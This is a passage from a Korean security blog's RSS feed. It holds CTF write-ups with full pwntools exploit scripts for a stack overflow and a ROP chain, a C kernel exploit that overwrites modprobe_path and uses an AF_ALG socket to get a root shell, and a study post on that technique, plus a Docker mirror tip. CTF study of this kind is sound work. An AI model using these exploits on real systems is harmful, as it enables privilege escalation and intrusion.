&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;91&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Sf1sL/btsPWsEWAat/UuX5Kfnl2K1mGfgyN3QtiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Sf1sL/btsPWsEWAat/UuX5Kfnl2K1mGfgyN3QtiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Sf1sL/btsPWsEWAat/UuX5Kfnl2K1mGfgyN3QtiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSf1sL%2FbtsPWsEWAat%2FUuX5Kfnl2K1mGfgyN3QtiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;418&quot; height=&quot;91&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;91&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. code 및 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.1.&amp;nbsp; code&lt;/h3&gt;
&lt;pre id=&quot;code_1660109598930&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;생략&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.2. 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바이너리를 실행하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 새 글 쓰기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 글 읽기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 글 수정하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 종료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;의 4가지 메뉴가 있으며, 데이터는 stack에 저장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 취약점 확인 및 공격 준비&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.1. 취약점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;oob로 인한 bof&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.2. 공격 준비&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 글은 0x100바이트 만큼 쓸 수 있으며, edit 시에는 index와 함께 0x40바이트만큼 쓸 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 edit 시 최대 index가 4이기 때문에 0x120 바이트만큼 쓸 수 있기에 main ret address 조작이 가능하며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;read로 값을 받아들임에 따라 canary, stack, libc 값을 leak 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. exploit&lt;/h2&gt;
&lt;pre id=&quot;code_1755423467531&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

#p = process('./prob')
#p = remote('localhost',12345)
p = remote('15.165.12.135',12345)

context.log_level='debug'

def wrt(size,cont):
    p.sendlineafter(b'&amp;gt; ',b'1')
    p.sendlineafter(b'size : ',str(size).encode())
    p.sendafter(b'content : ',cont)

def view():
    p.sendlineafter(b'&amp;gt; ',b'2')

def edit(page,size,cont):
    p.sendlineafter(b'&amp;gt; ',b'3')
    p.sendlineafter(b'number: ',str(page).encode())
    p.sendlineafter(b'size: ',str(size).encode())
    p.sendafter(b'content : ',cont)

wrt(0x100,b'A'*0x100)
view()
p.recvuntil(b'A'*0x100)
leak = u64(p.recvn(6).ljust(8,b'\x00'))

print(hex(leak))

edit(4,0x40,b'B'*0x9)
view()
p.recvuntil(b'B'*9)
canary = u64(b'\x00' + p.recvn(7))
print(hex(canary))

edit(4,0x40,b'B'*0x8*3)
view()
p.recvuntil(b'B'*8*3)
libc = u64(p.recvn(6).ljust(8,b'\x00'))
print(hex(libc))

base = libc - 0x2a1ca
rdi = base + 0x000000000002a873
system = base + 0x58750
binsh = base + 0x1cb42f

edit(4,0x40,b'B'*0x8 + p64(canary) + p64(0) + p64(rdi) + p64(binsh) + p64(leak) + p64(system))

print(hex(rdi))

p.sendlineafter(b'&amp;gt; ',b'3')

p.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>CTF/Solved</category>
      <author>wyv3rn</author>
      <guid isPermaLink="true">https://wyv3rn.tistory.com/608</guid>
      <comments>https://wyv3rn.tistory.com/608#entry608comment</comments>
      <pubDate>Sun, 17 Aug 2025 18:40:46 +0900</pubDate>
    </item>
    <item>
      <title>docker - ubuntu 24.04 sources.list</title>
      <link>https://wyv3rn.tistory.com/588</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;서론&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;docker build 시 속도 향상을 위해 저장소를 변경해주곤 했는데, 24.04에서는 변경하지 못하기에 조금 찾아봄.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;결론&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/etc/apt/sources.list&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;였다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/etc/apt/sources.list.d/ubuntu.sources&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로 이동됨.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 아래와 같이 설정 가능.&lt;/p&gt;
&lt;pre id=&quot;code_1753858483724&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;RUN sed -i &quot;s/http:\/\/archive.ubuntu.com/http:\/\/mirror.kakao.com/g&quot; /etc/apt/sources.list.d/ubuntu.sources
RUN sed -i &quot;s/http:\/\/security.ubuntu.com/http:\/\/mirror.kakao.com/g&quot; /etc/apt/sources.list.d/ubuntu.sources&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Tips &amp;amp; theory</category>
      <author>wyv3rn</author>
      <guid isPermaLink="true">https://wyv3rn.tistory.com/588</guid>
      <comments>https://wyv3rn.tistory.com/588#entry588comment</comments>
      <pubDate>Wed, 30 Jul 2025 15:54:48 +0900</pubDate>
    </item>
    <item>
      <title>No Hack No CTF 2025 - No.5️⃣4️⃣9️⃣</title>
      <link>https://wyv3rn.tistory.com/580</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. intro&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;85&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wwTcv/btsO51W0NDd/vMZcS1OppI3KzfkcZ8gndK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wwTcv/btsO51W0NDd/vMZcS1OppI3KzfkcZ8gndK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wwTcv/btsO51W0NDd/vMZcS1OppI3KzfkcZ8gndK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwwTcv%2FbtsO51W0NDd%2FvMZcS1OppI3KzfkcZ8gndK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;714&quot; height=&quot;85&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;85&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 팀원이 문제를 푼 상태에서, 커널 문제라 공부 겸 풀어본 문제.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쓸데 없는 파일들은 왜이리 많이 주는건지 -_-&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. code 및 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.1.&amp;nbsp; code&lt;/h3&gt;
&lt;pre id=&quot;code_1660109598930&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;linux/kernel.h&amp;gt;
#include &amp;lt;linux/syscalls.h&amp;gt;
#include &amp;lt;linux/kmod.h&amp;gt;
#include &amp;lt;asm/uaccess_64.h&amp;gt;

SYSCALL_DEFINE2(naup, void __user *, kaddr, const char __user *, str) {
    char buf[8];

    if ((char *)kaddr != modprobe_path) {
        printk(KERN_INFO &quot;naup syscall: Invalid address!\n&quot;);
        return -EPERM;
    }

    if (copy_from_user(buf, str, 8)) {
        printk(KERN_INFO &quot;naup syscall: copy_from_user failed!\n&quot;);
        return -EFAULT;
    }

    memcpy(kaddr, buf, 8);

    printk(KERN_INFO &quot;naup syscall: copied 8 bytes to modprobe_path (%p)\n&quot;, kaddr);

    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.2. 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;naup syscall이 실행되면 modprove_path에 값을 덮어씌운다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 취약점 확인 및 공격 준비&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.1. 취약점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;modprove_path 변조에 따른 임의 코드 실행.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.2. 공격 준비&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 POC에 따라 공격하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch&quot;&gt;Reviving the modprobe_path Technique: Overcoming search_binary_handler() Patch - Theori BLOG&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1751788080484&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Reviving the modprobe_path Technique: Overcoming search_binary_handler() Patch - Theori BLOG&quot; data-og-description=&quot;A new approach to the Overwriting modprobe_path technique is introduced, addressing changes in the Upstream kernel that prevent triggering via dummy files. | Vulnerability Research&quot; data-og-host=&quot;theori.io&quot; data-og-source-url=&quot;https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch&quot; data-og-url=&quot;https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cRB2AD/hyZfZVqkK8/5mqbvuZTOgXyEa6DpF5EQ1/img.png?width=1200&amp;amp;height=675&amp;amp;face=0_0_1200_675,https://scrap.kakaocdn.net/dn/sjvui/hyZjqDPOos/laXNfmCIKlWM6RLNJdGe50/img.png?width=1200&amp;amp;height=675&amp;amp;face=0_0_1200_675&quot;&gt;&lt;a href=&quot;https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cRB2AD/hyZfZVqkK8/5mqbvuZTOgXyEa6DpF5EQ1/img.png?width=1200&amp;amp;height=675&amp;amp;face=0_0_1200_675,https://scrap.kakaocdn.net/dn/sjvui/hyZjqDPOos/laXNfmCIKlWM6RLNJdGe50/img.png?width=1200&amp;amp;height=675&amp;amp;face=0_0_1200_675');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Reviving the modprobe_path Technique: Overcoming search_binary_handler() Patch - Theori BLOG&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;A new approach to the Overwriting modprobe_path technique is introduced, addressing changes in the Upstream kernel that prevent triggering via dummy files. | Vulnerability Research&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;theori.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조금 더 자세한 글은 별도로 써야겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. exploit&lt;/h2&gt;
&lt;pre id=&quot;code_1751788047217&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;linux/if_alg.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;

#define MODPROBE_SCRIPT &quot;#!/bin/sh\n/bin/sh 0&amp;lt;/proc/%u/fd/%u 1&amp;gt;/proc/%u/fd/%u 2&amp;gt;&amp;amp;1\n&quot;

unsigned long modprobe_path = 0xffffffff82b45b20;
char fake_modprobe[40] = {0};

int main()
{
        struct sockaddr_alg sa;
        pid_t pid = getpid();

        int modprobe_script_fd = memfd_create(&quot;&quot;, MFD_CLOEXEC);
        int shell_stdin_fd = dup(STDIN_FILENO);
        int shell_stdout_fd = dup(STDOUT_FILENO);

        dprintf(modprobe_script_fd, MODPROBE_SCRIPT, pid, shell_stdin_fd, pid, shell_stdout_fd);
        char link_target[64];
        snprintf(link_target, sizeof(fake_modprobe), &quot;/proc/%i/fd/%i&quot;, pid, modprobe_script_fd);

        char link[64] = &quot;/tmp/x&quot;;
        if (symlink(link_target, link) &amp;lt; 0)
        {
                perror(&quot;symlink&quot;);
                return 1;
        }

        unsigned long ret = syscall(549, modprobe_path, link);
        if (ret != 0)
        {
                printf(&quot;[-] syscall(549) failed: %ld\n&quot;, ret);
                return 1;
        }
        printf(&quot;[+] modprobe_path overwritten %s\n&quot;,fake_modprobe);

        int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
        if (alg_fd &amp;lt; 0) {
                perror(&quot;socket(AF_ALG) failed&quot;);
                return 1;
        }

        memset(&amp;amp;sa, 0, sizeof(sa));
        sa.salg_family = AF_ALG;
        strcpy((char *)sa.salg_type, &quot;V4bel&quot;);  // dummy string
        bind(alg_fd, (struct sockaddr *)&amp;amp;sa, sizeof(sa));

        printf(&quot;[-] Failed&quot;);
        return 0;
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>CTF/Solved</category>
      <author>wyv3rn</author>
      <guid isPermaLink="true">https://wyv3rn.tistory.com/580</guid>
      <comments>https://wyv3rn.tistory.com/580#entry580comment</comments>
      <pubDate>Tue, 8 Jul 2025 17:48:12 +0900</pubDate>
    </item>
    <item>
      <title>No Hack No CTF 2025 - Baby ROP which LemonTea wants</title>
      <link>https://wyv3rn.tistory.com/579</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. intro&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;85&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GlYEp/btsO5E8UWRp/n9oAgPZ1SoxKDvJjIbEX50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GlYEp/btsO5E8UWRp/n9oAgPZ1SoxKDvJjIbEX50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GlYEp/btsO5E8UWRp/n9oAgPZ1SoxKDvJjIbEX50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGlYEp%2FbtsO5E8UWRp%2Fn9oAgPZ1SoxKDvJjIbEX50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;714&quot; height=&quot;85&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;85&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;거의 다 푼 상태에서 다른 팀원이 먼저 풀었고, 그게 퍼블이었다;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. code 및 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.1.&amp;nbsp; code&lt;/h3&gt;
&lt;pre id=&quot;code_1660109598930&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;생략&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.2. 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순 rop이긴 한데, 가운데 canary마냥 check되는 부분이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 취약점 확인 및 공격 준비&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.1. 취약점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bof&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.2. 공격 준비&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 bof가 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 중간 즈음 값이 0인지 확인하는 부분이 있으며, read로 값을 받기 때문에 그냥 우회 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더불어 no pie이고, 입력값을 출력해줄 때 가운데 0 때문에 leak이 원활하지 않는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 내에 syscall이 존재하기에&amp;nbsp;그냥 bss에 main 함수 주소와 /bin/sh 문자열을 쓰고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bss를 rsp로 stack pivot한 뒤 syscall 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. exploit&lt;/h2&gt;
&lt;pre id=&quot;code_1751787357675&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

debug = True
#debug = False
path = './main'
elf = ELF(path)

if debug == True:
    io = process([path])#, env={&quot;LD_PRELOAD&quot;:&quot;&quot;})
    elf = ELF(path)
else:
    io = remote(&quot;challenge.nahamcon.com&quot;, 31216)

context.log_level = 'debug'

script ='''
'''

def hexmsg(name, val):
    info(f&quot;{name} = {hex(val)}&quot;)

def main():

    bss = 0x4afb00
    main = 0x4030a0
    raxret = 0x00000000004297c3
    rdirbpret = 0x0000000000403a44
    rsirbpret = 0x0000000000403d5a
    binsh = 0x00000000004afb50
    syscall = 0x00000000004025ea

    payload = b'\x00'*0x20
    payload += p64(0)*2
    payload += p64(bss)

    payload += p64(rdirbpret) + p64(bss) + p64(bss)
    payload += p64(rsirbpret) + p64(0x100) + p64(bss)
    payload += p64(0x4030e8)

    io.sendafter(b'name?\n',payload + b'\n')

    payload = p64(bss - 0x70)
    payload += p64(rdirbpret) + p64(binsh) + p64(0x4afd00)
    payload += p64(rsirbpret) + p64(0) + p64(0x4afd00)
    payload += p64(raxret) + p64(0x3b)
    payload += p64(syscall)
    payload += b'/bin/sh'
    io.sendline(payload)

    io.interactive()

    return

if __name__ == &quot;__main__&quot;:
    main()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>CTF/Solved</category>
      <author>wyv3rn</author>
      <guid isPermaLink="true">https://wyv3rn.tistory.com/579</guid>
      <comments>https://wyv3rn.tistory.com/579#entry579comment</comments>
      <pubDate>Tue, 8 Jul 2025 17:42:48 +0900</pubDate>
    </item>
    <item>
      <title>Kernel - Overwriting modprobe_path</title>
      <link>https://wyv3rn.tistory.com/581</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;서론&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CTF에서 나와서 조금 더 공부해보는 글.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;modprobe_path&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 modprobe라는 프로그램은 커널에 로드 가능한 모듈을 추가하거나 제거하는데 사용하는 프로그램이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, 여기서 만일 알 수 없는 형식의 파일이 실행되면 modprobe_path 경로의 프로그램이 root 권한으로 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, modprobe_path의 값을 조작할 수 있다면 임의의 프로그램을 실행할 수 있다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 modprobe_path의 값은 writable 영역에 전역변수로 설정되어 있기에 매우 취약하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;exploit - before patch&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생각보다 꽤 간단하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만일 aaw가 가능한 상황이라면 종전의 payload는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;save state -&amp;gt;&amp;nbsp; prepare_kernel_cred -&amp;gt; commit_cred -&amp;gt; (tramp, if required) -&amp;gt; get shell -&amp;gt; state load&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순이었다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;save state -&amp;gt; modprobe_path 변조 -&amp;gt; get shell -&amp;gt; state load&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순으로 간단해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 언급한 것과 같이 modprobe_path는 전역변수이기 때문에 주소 leak이 필요하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 메모리에 값을 넣을 수 있는 gadget들만 구하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이로드 구성은 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1751790004036&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rax_ret; // return address
    payload[off++] = 0x782f706d742f; // rax &amp;lt;- &quot;/tmp/x&quot;
    payload[off++] = pop_rbx_r12_rbp_ret;
    payload[off++] = modprobe_path; // rbx &amp;lt;- modprobe_path
    payload[off++] = 0x0; // dummy r12
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = write_ptr_rbx_rax_pop2_ret; // modprobe_path &amp;lt;- &quot;/tmp/x&quot;
    payload[off++] = 0x0; // dummy rbx
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)get_flag;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;exploit - after patch - 1&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 방지하기 위해 아래 패치가 적용되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://web.git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fa1bdca98d74472dcdb79cb948b54f63b5886c04&quot;&gt;exec: remove legacy custom binfmt modules autoloading - kernel/git/torvalds/linux.git - Linux kernel source tree&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 이 또한 우회할 수 있는데, 이는 socket을 이용한 것으로 페이로드는 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1751790106892&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;linux/if_alg.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;

#define MODPROBE_SCRIPT &quot;#!/bin/sh\\n/bin/sh 0&amp;lt;/proc/%u/fd/%u 1&amp;gt;/proc/%u/fd/%u 2&amp;gt;&amp;amp;1\\n&quot;

int main(void)
{
        char fake_modprobe[40] = {0};
        struct sockaddr_alg sa;
        pid_t pid = getpid();

        int modprobe_script_fd = memfd_create(&quot;&quot;, MFD_CLOEXEC);
        int shell_stdin_fd = dup(STDIN_FILENO);
        int shell_stdout_fd = dup(STDOUT_FILENO);

        dprintf(modprobe_script_fd, MODPROBE_SCRIPT, pid, shell_stdin_fd, pid, shell_stdout_fd);
        snprintf(fake_modprobe, sizeof(fake_modprobe), &quot;/proc/%i/fd/%i&quot;, pid, modprobe_script_fd);

        // Overwriting modprobe_path with fake_modprobe here...

        int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
        if (alg_fd &amp;lt; 0) {
                perror(&quot;socket(AF_ALG) failed&quot;);
                return 1;
        }

        memset(&amp;amp;sa, 0, sizeof(sa));
        sa.salg_family = AF_ALG;
        strcpy((char *)sa.salg_type, &quot;V4bel&quot;);  // dummy string
        bind(alg_fd, (struct sockaddr *)&amp;amp;sa, sizeof(sa));

        return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;exploit - after patch - 2&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 modprobe_path에 값을 쓰다보면 쓸 값의 길이가 길어 쓸 수 없는 경우가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, after patch - 1의 경우 fake_modprobe의 값이 &quot;/proc/?/fd/?&quot; 의 길이를 가지게 되는데, 다 쓰지 못하는 경우가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 줄이기 위해서 symbolic link를 사용할 수 있다.&lt;/p&gt;
